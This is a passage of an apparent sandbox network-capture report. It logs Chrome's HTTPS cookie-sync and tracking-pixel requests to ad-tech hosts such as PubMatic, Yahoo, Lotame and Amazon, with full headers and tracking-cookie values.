Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	894	OUT	GET /usersync3/mediamathtest/1508/d579659f-27da-4200-92f9-660cb89fa4ac?zcc=0&sspret=1 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22nxtrdr%22%3Afalse%2C%22zdxidn%22%3A%221508%22%7D
2024-01-10 23:27:29 UTC	784	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:29 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Thu, 09 Jan 2025 23:27:29 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 connection: close
2024-01-10 23:27:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.4	50535	34.198.159.38	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	482	OUT	GET /map/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=0; _cc_id=618691626ce21064702c7cbd4f29296d
2024-01-10 23:27:29 UTC	315	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.10.156 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:29 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.4	50536	34.198.159.38	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	487	OUT	GET /map/ct=y/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=0; _cc_id=618691626ce21064702c7cbd4f29296d
2024-01-10 23:27:29 UTC	315	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.50.167 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:29 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.4	50538	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1298	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=LR8EUG12-1F-5JG4&us_privacy=1YNN&dpid=58160 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:30 UTC	660	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mag=LR8EUG12-1F-5JG4~~63;Expires=Thu, 09 Jan 2025 23:27:30 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:30 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:30 GMT Connection: close
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:30 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.4	50539	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3718	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=8266606981038422920&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:30 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ Set-Cookie: PugT=1704929250; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.4	50525	67.220.226.233	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	476	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:30 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 14BWQVF1ZRGM3RA1F8Q3 Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:30 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:30 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.4	50540	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3716	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:30 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:36:38 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 12:36:38 GMT; path=/ Set-Cookie: PugT=1704890198; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:36:38 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.4	50541	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3686	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
